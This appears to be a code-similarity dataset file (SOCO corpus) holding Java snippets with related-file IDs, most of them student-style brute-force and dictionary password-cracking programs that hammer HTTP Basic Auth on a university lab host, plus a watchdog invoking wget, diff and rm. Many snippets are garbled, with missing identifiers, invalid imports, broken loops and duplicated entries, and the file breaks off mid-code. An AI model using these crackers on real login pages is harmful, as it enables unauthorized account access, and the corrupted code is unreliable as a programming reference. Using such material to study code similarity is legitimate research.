SOCO_Corpus / Quora_SIM /derived_dataset_3_val.tsv
buelfhood's picture
Upload 8 files
096d8df
F1 text_1 related_pairs
136.java "
import java.util.*;
import java.io.*;
import java.net.*;
public class MyWatchDogTimer extends TimerTask
{
public void run()
{
Runtime rt = Runtime.getRuntime();
Process prss= null;
String initialmd5,presentmd5,finalmd5,temp1;
String mesg1 = new String();
String subject = new String(""Report of WatchDog"");
int i;
try
{
prss = rt.exec(""md5sum first.html"");
InputStreamReader instre1 = new InputStreamReader(prss.getInputStream());
BufferedReader bufread1 = new BufferedReader(instre1);
sw = bufread1.readLine();
i = finalmd5.indexOf(' ');
initialmd5 = finalmd5.substring(0,i);
System.out.println(""this is of first.html--->""+initialmd5);
prss = rt.exec(""wget -R mpg,mpeg, --output-document=present.html http://www.cs.rmit.edu./students/"");
prss = rt.exec(""md5sum present.html"");
InputStreamReader instre2 = new InputStreamReader(prss.getInputStream());
BufferedReader bufread2 = new BufferedReader(instre2);
temp1 = bufread2.readLine();
i = temp1.indexOf(' ');
presentmd5 = temp1.substring(0,i);
System.out.println(""this is of present.html---->""+presentmd5);
if(initialmd5.equals(presentmd5))
System.out.println(""The checksum found using md5sum is same"");
else
{
prss = rt.exec(""diff first.html present.html > diff.html"");
System.out.println("" is different"");
prss = null;
mesg1 =""php mail.php"";
prss = rt.exec(mesg1);
}
prss = rt.exec(""rm present.*"");
}catch(java.io.IOException e){}
}
}
" 173.java
146.java "import java.net.*;
import java.util.*;
public class BruteForce {
public static void main(String[] args) {
new CrackAttempt();
}
}
class CrackAttempt {
public CrackAttempt() {
final int MAX_LENGTH = 3;
boolean auth = false;
Date = new Date();
boolean morePasswords = true;
int passPtr = 0;
StringBuffer validChars = new StringBuffer(""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"");
char[] password = new char[MAX_LENGTH];
password[0] = validChars.charAt(0);
while (!auth && morePasswords) {
String resource = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
try {
Authenticator.setDefault(new CrackAuth(password));
URL url = new URL(resource);
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
conn.setRequestMethod(""HEAD"");
if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
System.out.println(""cracked with "" + new String(password));
auth = true;
}
} catch (Exception e) {
System.out.println("" was exception: "" + e.getMessage());
}
int count = passPtr;
while (true) {
if (password[count] == validChars.charAt(validChars.length() - 1)) {
password[count] = validChars.charAt(0);
count--;
} else {
password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count])) + 1);
break;
}
if (count < 0) {
if (passPtr < MAX_LENGTH - 1) {
passPtr++;
password[passPtr] = validChars.charAt(0);
} else {
morePasswords = false;
}
break;
}
}
}
if (!auth) {
System.out.println(""Unable determine password"");
} else {
time = (new Date()).getTime() - start.getTime();
System.out.println(""it took "" + String.valueOf(time) + "" milliseconds crack the password"");
}
}
}
class CrackAuth extends Authenticator {
char[] password;
public CrackAuth(char[] password) {
this.password = password;
}
protected PasswordAuthentication getPasswordAuthentication()
{
String user = """";
return new PasswordAuthentication(user, password);
}
}
" 147.java
086.java "import java.net.*;
import java.io.*;
import java.*;
public class BruteForce {
URLConnection conn = null;
private static boolean status = false;
public static void main (String args[]){
BruteForce a = new BruteForce();
String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"",
"""",
""""};
int attempts = 0;
exit:
for (int i=0;i<pwdArray.length;i++) {
for (int j=0;j<pwdArray.length;j++) {
for (int k=0;k<pwdArray.length;k++) {
if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue;
if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue;
inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];
attempts++;
a.doit(inp);
if (status) {
System.out.println(""Crrect password is: "" + inp[2]);
System.out.println(""Number of attempts = "" + attempts);
break exit;
}
inp[2] = """";
}
}
}
}
public void doit(String args[]) {
try {
BufferedReader in = new BufferedReader(
new InputStreamReader
(connectURL(new URL(args[0]), args[1], args[2])));
String line;
while ((line = in.readLine()) != null) {
System.out.println(line);
status = true;
}
}
catch (IOException e) {
}
}
public InputStream connectURL (URL url, String uname, String pword)
throws IOException {
conn = url.openConnection();
conn.setRequestProperty (""Authorization"",
userNamePasswordBase64(uname,pword));
conn.connect ();
return conn.getInputStream();
}
public String userNamePasswordBase64(String username, String password) {
return "" "" + base64Encode (username + "":"" + password);
}
private final static char pwdArray [] = {
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',
'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X', 'Y', 'Z', ' '
};
private final static char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'
};
private static String base64Encode (String string) {
String encodedString = """";
byte bytes [] = string.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length) {
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length) {
b2 = 0;
b3 = 0;
pad = 2;
}
else {
b2 = bytes [i++];
if (i >= bytes.length) {
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad) {
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += ""="";
break;
case 2:
encodedString += ""=="";
break;
}
}
return encodedString;
}
}
" "155.java 087.java 243.java"
158.java "
import java.net.*;
import java.io.*;
public class BruteForce {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL (""http://sec-crack.cs.rmit.edu./SEC/2/"");
start =System.currentTimeMillis();
DataInputStream dis ;
for (i=0;i<=58;i++)
{
for (j=0;j<=58;j++)
{
for (k=1;k<=58;k++)
{
if (i !=0)
{
pass = """" + (char)(k+64) + (char)(j+65) + (char)(i+64);
if ((i+64) >=91 && (i+64) <=96)
break;
if ((j+65) >=91 && (j+65) <=96)
break;
if ((k+64) >=91 && (k+64) <=96)
continue;
UserPass= auth.encode("""",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty(""Host"",""sec-crack.cs.rmit.edu."");
connect.setRequestProperty(""Get"",""/SEC/2/ HTTP/1.1"");
connect.setRequestProperty(""Authorization"","" "" + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase(""HTTP/1.1 200 OK""))
{
System.out.println(""Password is "" + pass);
end=System.currentTimeMillis();
diff= end - start;
System.out.println(""Time Taken = "" + (diff/1000) + "" sec"" );
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
}
}
}
System.out.println("" match found"");
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println(""Unable Open URL"" + malerr);
}
catch (Exception ioerr)
{
System.err.println(""Unable retrive URL"" + ioerr);
}
}
}" 161.java
108.java "
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class DictionaryPropertyHelper {
private static Properties dictProps;
public DictionaryPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println(""Error init'ing the dictionary Props"");
e.printStackTrace();
}
return dictProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(dictProps == null){
dictProps = new Properties();
InputStream fis =
DictionaryPropertyHelper.class.getResourceAsStream(""/dictionary.properties"");
dictProps.load(fis);
}
}
}
" "113.java 112.java"
079.java "import java.util.*;
import java.net.*;
import java.io.*;
public class Dictionary
{
boolean connected = false;
int counter;
Vector words = new Vector();
Dictionary()
{
counter = 0;
this.readWords();
this.startAttack();
}
public void startAttack()
{
while(counter<this.words.size())
{
connected = sendRequest();
if(connected == true)
{
System.out.print(""The password is: "");
System.out.println((String)words.elementAt(counter-1));
counter = words.size();
}
}
}
public void readWords()
{
String line;
try
{
BufferedReader buffer = new BufferedReader(
new FileReader(""/usr/share/lib/dict/words""));
line = buffer.readLine();
while(line != null)
{
if(line.length() <= 3)
{
words.addElement(line);
}
line = buffer.readLine();
}
}
catch(IOException e){}
}
public boolean sendRequest()
{
Authenticator.setDefault (new MyAuthenticator ());
try
{
URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
HttpURLConnection urlConn = (HttpURLConnection)url.openConnection();
urlConn.connect();
if(urlConn.getResponseMessage().equalsIgnoreCase(""OK""))
{
return true;
}
}
catch (IOException e) {}
return false;
}
public static void main(String [] args)
{
Dictionary dictionary = new Dictionary();
}
class MyAuthenticator extends Authenticator {
protected PasswordAuthentication getPasswordAuthentication() {
String username = """";
String password = (String)words.elementAt(counter);
counter++;
return new PasswordAuthentication(username, password.toCharArray());
}
}
}
" 078.java
201.java "
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;
public class MyClient1 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private Dictionary myMaster;
public MyClient1(Dictionary dic, int num, int myPort, String password)
{
hostname = new String(""sec-crack.cs.rmit.edu."");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String(""/SEC/2/"");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
finish = 0;
start = System.currentTimeMillis();
try
{
s = new Socket( hostname, port);
}catch( UnknownHostException e)
{
System.out.println(""'t find host"");
}catch( IOException e)
{
System.out.println(""Error connecting host ""+n);
return;
}
while(s.isConnected() == false)
continue;
finish = System.currentTimeMillis();
dif = finish - start;
try
{
sin = s.getInputStream();
}catch( IOException e)
{
System.out.println(""'t open stream"");
}
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
try
{
sout = s.getOutputStream();
}catch( IOException e)
{
System.out.println(""'t open stream"");
}
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
toServer.print(""GET ""+filename+"" HTTP/1.0\r\n""+""Authorization: ""+Base64.encode(""""+"":""+myPassword)+""\r\n\r\n"");
toServer.flush();
try
{
inputLine = fromServer.readLine();
}catch( IOException e)
{
System.out.println(""'t open stream"");
inputLine = null;
}
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, "" "");
i = 0;
while(bf.hasMoreTokens())
{
tokens[i] =bf .nextToken();
i++;
}
status = Integer.parseInt( tokens[1]);
myTime = System.currentTimeMillis();
if( status == 200)
{
System.out.println(""Ok ""+myPassword);
myMaster.retire( this);
}
toServer.send();
try
{
fromServer.recieve();
}catch( IOException e)
{
System.out.println(""'t open stream"");
}
try
{
s.connect();
}catch( IOException e)
{
System.out.println(""'t connection"");
System.exit(0);
}
}
public getTime()
{
return myTime;
}
}
" 209.java
051.java "import java.io.*;
import java.net.*;
import java.*;
import java.Runtime.*;
import java.Object.*;
import java.util.*;
import java.util.StringTokenizer;
public class Dictionary
{
String uname = """";
String pword = ""null"";
Vector v = new Vector();
int runTime;
public void doConnect(String connect, int num)
{
String = connect;
try
{
URL secureSite = new URL();
URLConnection connection = secureSite.openConnection();
if (uname != null || pword != null)
{
for(int i=num; i<v.size(); i++)
{
pword = (String)v.elementAt(i);
String up = uname + "":"" + pword;
String encoding;
try
{
connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder) Class.forName("".misc.BASE64Encoder"").newInstance();
encoding = encoder.encode (up.getBytes());
}
catch (Exception ex)
{
Base64Converter encoder = new Base64Converter();
System.out.println(""in catch"");
encoding = encoder.encode(up.getBytes());
}
connection.setRequestProperty (""Authorization"", "" "" + encoding);
connection.connect();
if(connection instanceof HttpURLConnection)
{
HttpURLConnection httpCon=(HttpURLConnection)connection;
if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)
{
System.out.println(""Not authorized - check for details"" + "" -Incorrect Password : "" + pword);
doConnect(i, i+1);
}
else
{
System.out.println(""\n\n\nPassword for HTTP Secure Site by Dictionary Attack:"");
System.out.println( +""\tPassword : ""+ pword);
runTime = System.currentTimeMillis() - runTime;
System.out.println(""Time taken crack password (in seconds)""+"" : ""+ runTime/1000+""\n""+ ""Tries taken crack password : ""+ i);
System.exit(0);
}
}
}
}
}
catch(Exception ex)
{
ex.printStackTrace();
}
}
public Vector getPassword()
{
try
{
ReadFile rf = new ReadFile();
rf.loadFile();
v = rf.getVector();
}
catch(Exception ex)
{
ex.printStackTrace();
}
return v;
}
public void setTimeTaken( int timetaken)
{
runTime = timetaken;
}
public static void main ( String args[] ) throws IOException
{
runTime1 = System.currentTimeMillis();
Dictionary newDo = new Dictionary();
newDo.setTimeTaken(runTime1);
newDo. getPassword();
String site = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
newDo.doConnect(site, 0);
}
}
class Base64Converter
{
public final char [ ] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
public String encode ( String s )
{
return encode ( s.getBytes ( ) );
}
public String encode ( byte [ ] octetString )
{
int bits24;
int bits6;
char [ ] out
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
int outIndex = 0;
int i = 0;
while ( ( i + 3 ) <= octetString.length ) {
bits24=( octetString [ i++ ] & 0xFF ) << 16;
bits24 |=( octetString [ i++ ] & 0xFF ) << 8;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0000003F );
out [ outIndex++ ] = alphabet [ bits6 ];
}
if ( octetString.length - i == 2 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
}
else if ( octetString.length - i == 1 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
out [ outIndex++ ] = '=';
}
return new String ( out );
}
}
" "257.java 258.java"
108.java "
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class DictionaryPropertyHelper {
private static Properties dictProps;
public DictionaryPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println(""Error init'ing the dictionary Props"");
e.printStackTrace();
}
return dictProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(dictProps == null){
dictProps = new Properties();
InputStream fis =
DictionaryPropertyHelper.class.getResourceAsStream(""/dictionary.properties"");
dictProps.load(fis);
}
}
}
" "113.java 112.java"
133.java "
import java.net.*;
import java.io.*;
public class Dictionary
{
private String myUsername = """";
private String myPassword = """";
private String urlToCrack = ""http://sec-crack.cs.rmit.edu./SEC/2"";
public static void main (String args[])
{
Dictionary d = new Dictionary();
}
public Dictionary()
{
generatePassword();
}
public void generatePassword()
{
try
{
BufferedReader = new BufferedReader(new FileReader(""/usr/share/lib/dict/words""));
{
myPassword = bf.readLine();
crackPassword(myPassword);
} while (myPassword != null);
}
catch(IOException e)
{ }
}
public void crackPassword(String passwordToCrack)
{
String data, dataToEncode, encodedData;
try
{
URL url = new URL (urlToCrack);
dataToEncode = myUsername + "":"" + passwordToCrack;
encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());
URLConnection urlCon = url.openConnection();
urlCon.setRequestProperty (""Authorization"", "" "" + encodedData);
InputStream is = (InputStream)urlCon.getInputStream();
InputStreamReader isr = new InputStreamReader(is);
BufferedReader bf = new BufferedReader (isr);
{
data = bf.readLine();
System.out.println(data);
displayPassword(passwordToCrack);
} while (data != null);
}
catch (IOException e)
{ }
}
public void displayPassword(String foundPassword)
{
System.out.println(""\nThe cracked password is : "" + foundPassword);
System.exit(0);
}
}
" 131.java
183.java "
import java.awt.*;
import java.awt.event.*;
import java.io.*;
import java.net.*;
public class BruteForce extends Frame implements ActionListener {
private TextField tf = new TextField();
private TextArea ta = new TextArea();
public void actionPerformed (ActionEvent e) {
String s = tf.getText();
String login="""";
if (s.length() != 0)
{
char symbol = 'A';
login="":"";
for(int i = 0; i < 3; i++)
{
symbol = (char)(57.0 * Math.random() + 65);
if(symbol>90 && symbol<97){
i--;
continue;
}
login=login+symbol;
}
ta.setText (fetchURL (s,login));
System.out.println(""runing""+login);
}while(ta.getText().compareTo(""Invalid URL"")!=0 || ta.getText().compareTo(""Error URL"")!=0);
System.out.println(""The password is: ""+login);
}
public BruteForce() {
super (""SEC-CRACK"");
add (tf, BorderLayout.LEFT);
ta.setEditable(false);
add (ta, BorderLayout.CENTER);
tf.addActionListener (this);
addWindowListener (new WindowAdapter() {
public void windowClosing (WindowEvent e) {
dispose();
System.exit(0);
}
});
}
private String fetchURL (String urlString,String login) {
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter();
try {
URL url = new URL (urlString);
String encoding = new url.misc.BASE64Encoder().encode (login.getBytes());
URLConnection uc = url.openConnection();
uc.setRequestProperty (""Authorization"", "" "" + encoding);
InputStream content = (InputStream)uc.getInputStream();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null) {
pw.println (line);
}
} catch (MalformedURLException e) {
pw.println (""Invalid URL"");
} catch (IOException e) {
pw.println (""Error URL"");
}
return sw.toString();
}
public static void main(String args[]) {
Frame f = new BruteForce();
f.setSize(300, 300);
f.setVisible (true);
}
}
class Base64Converter
{
public static final char [ ] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
public static String encode ( String s )
{
return encode ( s.getBytes ( ) );
}
public static String encode ( byte [ ] octetString )
{
int bits24;
int bits6;
char [ ] out
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
int outIndex = 0;
int i = 0;
while ( ( i + 3 ) <= octetString.length )
{
bits24 = ( octetString [ i++ ] & 0xFF ) << 16;
bits24 |= ( octetString [ i++ ] & 0xFF ) << 8;
bits24 |= ( octetString [ i++ ] & 0xFF ) << 0;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0000003F );
out [ outIndex++ ] = alphabet [ bits6 ];
}
if ( octetString.length - i == 2 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
}
else if ( octetString.length - i == 1 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
out [ outIndex++ ] = '=';
}
return new String ( out );
}
}
" 059.java
086.java "import java.net.*;
import java.io.*;
import java.*;
public class BruteForce {
URLConnection conn = null;
private static boolean status = false;
public static void main (String args[]){
BruteForce a = new BruteForce();
String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"",
"""",
""""};
int attempts = 0;
exit:
for (int i=0;i<pwdArray.length;i++) {
for (int j=0;j<pwdArray.length;j++) {
for (int k=0;k<pwdArray.length;k++) {
if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue;
if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue;
inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];
attempts++;
a.doit(inp);
if (status) {
System.out.println(""Crrect password is: "" + inp[2]);
System.out.println(""Number of attempts = "" + attempts);
break exit;
}
inp[2] = """";
}
}
}
}
public void doit(String args[]) {
try {
BufferedReader in = new BufferedReader(
new InputStreamReader
(connectURL(new URL(args[0]), args[1], args[2])));
String line;
while ((line = in.readLine()) != null) {
System.out.println(line);
status = true;
}
}
catch (IOException e) {
}
}
public InputStream connectURL (URL url, String uname, String pword)
throws IOException {
conn = url.openConnection();
conn.setRequestProperty (""Authorization"",
userNamePasswordBase64(uname,pword));
conn.connect ();
return conn.getInputStream();
}
public String userNamePasswordBase64(String username, String password) {
return "" "" + base64Encode (username + "":"" + password);
}
private final static char pwdArray [] = {
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',
'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X', 'Y', 'Z', ' '
};
private final static char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'
};
private static String base64Encode (String string) {
String encodedString = """";
byte bytes [] = string.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length) {
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length) {
b2 = 0;
b3 = 0;
pad = 2;
}
else {
b2 = bytes [i++];
if (i >= bytes.length) {
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad) {
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += ""="";
break;
case 2:
encodedString += ""=="";
break;
}
}
return encodedString;
}
}
" "155.java 087.java 243.java"
021.java "
import java.util.*;
import java.net.*;
import java.io.*;
import misc.BASE64Encoder;
import javax.swing.*;
public class ConnectionThread extends Thread
{
private String url;
private URL currURL;
private URLConnection conn;
private HoldSharedData sharedData;
private int noOfThread;
private int batch;
public ConnectionThread( String pageURL, int wThread,
int newBatch, HoldSharedData data )
{
super();
url = pageURL;
noOfThread = wThread;
batch = newBatch;
sharedData = data;
}
public void run()
{
try
{
currURL = new URL( url );
for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) &&
(i < sharedData.getPwdCount()); i ++ )
{
String pwd = sharedData.getPasswordAt( i );
conn = currURL.openConnection();
if (conn instanceof HttpURLConnection)
{
HttpURLConnection hconn = (HttpURLConnection) conn;
hconn.setFollowRedirects(false);
String cad = "" "" + based64Encoder( "":"" + pwd );
hconn.setRequestProperty( ""Authorization"", cad );
hconn.connect();
int response = hconn.getResponseCode();
sharedData.setNumOfConnections();
if( response == 200 )
{
totalTime = System.currentTimeMillis() -
sharedData.getStartTime();
int numOfConnections = sharedData.getNumOfConnections();
System.out.println( ""Password is "" + pwd );
System.out.println( ""Total Time(seconds)= "" +
(double)totalTime/1000 );
System.out.println( ""Total Number Of Connections: "" +
numOfConnections );
System.exit(0);
}
else
{
hconn.disconnect();
}
}
}
}
catch( MalformedURLException mue )
{
String msg = ""Unable parse URL: "" + url;
System.err.println( msg );
}
catch( IOException ioe )
{
System.err.println( ""I/O Error : "" + ioe );
}
}
private String based64Encoder( String pwd )
{
String str = pwd;
byte[] buf = str.getBytes();
String encodedStr = new misc.BASE64Encoder().encode(buf);
return encodedStr;
}
} " 014.java
051.java "import java.io.*;
import java.net.*;
import java.*;
import java.Runtime.*;
import java.Object.*;
import java.util.*;
import java.util.StringTokenizer;
public class Dictionary
{
String uname = """";
String pword = ""null"";
Vector v = new Vector();
int runTime;
public void doConnect(String connect, int num)
{
String = connect;
try
{
URL secureSite = new URL();
URLConnection connection = secureSite.openConnection();
if (uname != null || pword != null)
{
for(int i=num; i<v.size(); i++)
{
pword = (String)v.elementAt(i);
String up = uname + "":"" + pword;
String encoding;
try
{
connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder) Class.forName("".misc.BASE64Encoder"").newInstance();
encoding = encoder.encode (up.getBytes());
}
catch (Exception ex)
{
Base64Converter encoder = new Base64Converter();
System.out.println(""in catch"");
encoding = encoder.encode(up.getBytes());
}
connection.setRequestProperty (""Authorization"", "" "" + encoding);
connection.connect();
if(connection instanceof HttpURLConnection)
{
HttpURLConnection httpCon=(HttpURLConnection)connection;
if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)
{
System.out.println(""Not authorized - check for details"" + "" -Incorrect Password : "" + pword);
doConnect(i, i+1);
}
else
{
System.out.println(""\n\n\nPassword for HTTP Secure Site by Dictionary Attack:"");
System.out.println( +""\tPassword : ""+ pword);
runTime = System.currentTimeMillis() - runTime;
System.out.println(""Time taken crack password (in seconds)""+"" : ""+ runTime/1000+""\n""+ ""Tries taken crack password : ""+ i);
System.exit(0);
}
}
}
}
}
catch(Exception ex)
{
ex.printStackTrace();
}
}
public Vector getPassword()
{
try
{
ReadFile rf = new ReadFile();
rf.loadFile();
v = rf.getVector();
}
catch(Exception ex)
{
ex.printStackTrace();
}
return v;
}
public void setTimeTaken( int timetaken)
{
runTime = timetaken;
}
public static void main ( String args[] ) throws IOException
{
runTime1 = System.currentTimeMillis();
Dictionary newDo = new Dictionary();
newDo.setTimeTaken(runTime1);
newDo. getPassword();
String site = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
newDo.doConnect(site, 0);
}
}
class Base64Converter
{
public final char [ ] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
public String encode ( String s )
{
return encode ( s.getBytes ( ) );
}
public String encode ( byte [ ] octetString )
{
int bits24;
int bits6;
char [ ] out
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
int outIndex = 0;
int i = 0;
while ( ( i + 3 ) <= octetString.length ) {
bits24=( octetString [ i++ ] & 0xFF ) << 16;
bits24 |=( octetString [ i++ ] & 0xFF ) << 8;
